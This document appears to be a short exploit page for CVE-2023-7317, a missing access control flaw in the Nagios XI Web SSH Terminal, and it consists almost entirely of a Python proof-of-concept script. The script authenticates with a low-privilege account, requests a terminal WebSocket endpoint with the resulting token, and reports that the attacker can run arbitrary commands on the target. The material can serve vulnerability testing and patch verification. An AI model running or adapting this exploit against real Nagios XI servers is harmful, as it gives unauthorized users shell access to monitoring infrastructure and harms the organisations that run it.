CVE-2023-7317: Nagios XI Web SSH Terminal 缺失访问控制漏洞

# CVE-2023-7317 PoC - Nagios XI Web SSH Terminal Authorization Bypass # This PoC demonstrates the missing access control vulnerability import requests import json target = "http://target-nagios-xi.local" # Step 1: Authenticate with low-privilege account login_url = f"{target}/nagiosxi/api/v1/authenticate" login_data = { "username": "lowpriv_user", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code == 200: token = response.json().get("token") print(f"[+] Authentication successful, token: {token}") # Step 2: Exploit the missing access control to access Web SSH Terminal # Directly access the WebSocket terminal endpoint without proper authorization ssh_terminal_url = f"{target}/nagiosxi/api/v1/terminal/websocket" headers = { "Authorization": f"Bearer {token}", "X-Requested-With": "XMLHttpRequest" } # This request should fail for low-privilege users but succeeds due to the vulnerability exploit_response = session.get(ssh_terminal_url, headers=headers) if exploit_response.status_code == 200: connection_info = exploit_response.json() print(f"[+] VULNERABLE: Gained access to Web SSH Terminal") print(f"[+] Connection details: {json.dumps(connection_info, indent=2)}") # Step 3: Execute commands through the WebSocket connection websocket_url = connection_info.get("websocket_url") print(f"[+] WebSocket URL: {websocket_url}") print("[+] Attacker can now execute arbitrary commands on the target system") else: print(f"[-] Access denied or target not vulnerable")